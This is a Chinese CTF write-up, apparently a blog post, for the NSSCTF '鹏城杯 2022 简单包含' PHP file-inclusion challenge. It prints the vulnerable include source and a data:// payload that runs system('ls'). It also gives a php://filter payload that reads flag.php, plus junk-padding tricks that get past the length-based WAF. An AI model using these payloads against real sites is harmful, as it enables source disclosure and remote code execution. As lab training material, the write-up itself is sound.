NSS [鹏城杯 2022]简单包含

简介: NSS [鹏城杯 2022]简单包含

NSS [鹏城杯 2022]简单包含

看代码觉得不就直接post flag=data://text/plain,<?php system('ls');?>行了。

但是事实上没有什么软用。

用了php://伪协议之后发现有WAF

可以读源码

解码得到

<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {

  echo 'nssctf waf!';

} else {

  @include($path);

}
?>
    
<code><span style="color: #000000">

<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>

</span>

</code><br />

绕过方法1:

多加脏数据

绕过方法2:

换个方法加脏数据

这里好奇怪,我postman不行,火狐hackbar可以。是因为火狐hackerbar会自动url编码一次!!!

绕过方法3:

还是脏数据

a=好多个a

&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

绕过方法4:

日志包含

测不出东西。但是可以看报文,是阿帕奇服务器。

这里应该是NSS的原因,没开相关权限,不能日志包含。

目录
相关文章
|
2月前
NSS [SWPUCTF 2021 新生赛]easy_md5
NSS [SWPUCTF 2021 新生赛]easy_md5
25 0
|
2月前
|
PHP
NSS [UUCTF 2022 新生赛]ez_unser
NSS [UUCTF 2022 新生赛]ez_unser
29 0
|
12月前
|
SQL 网络协议 数据安全/隐私保护
[黑盾杯]2020之Misc篇刷题记录(16)
[黑盾杯]2020之Misc篇刷题记录(16)
362 0
|
12月前
|
数据安全/隐私保护
SY2023CTF--“安洵杯”全国精英赛MISC--烦人的压缩包
SY2023CTF--“安洵杯”全国精英赛MISC--烦人的压缩包
89 0
|
编解码 Linux 对象存储
荔枝派Zero(全志V3S)开启alsa,测试codec
ALSA 是 Advanced Linux Sound Architecture,高级Linux声音架构的简称,它在Linux操作系统上提供了音频和MIDI(Musical Instrument Digital Interface,音乐设备数字化接口)的支持。在2.6系列内核中,ALSA已经成为默认的声音子系统,用来替换2.4系列内核中的OSS(Open Sound System,开放声音系统)。
337 0
|
编译器 Linux
荔枝派Zero(全志V3S)编译Kernel
上文我们讲述了uboot编译及配置,本文讲述了如何编译kernel,对编译过程中遇到的问题进行解决
238 0
MeeGo系“.NET研究”统1.2版本新组件
  MeeGo 1.2发行版确定加入了一些新组建。  关于这些组建的讨论请到这个网站:http://wiki.meego.com/Architecture#Upcoming_Features   下面是对这些组建的简短介绍,关于这些组建上海闵行企业网站设计与制作的文档随后会在这个网页贴出:http://wiki.
856 0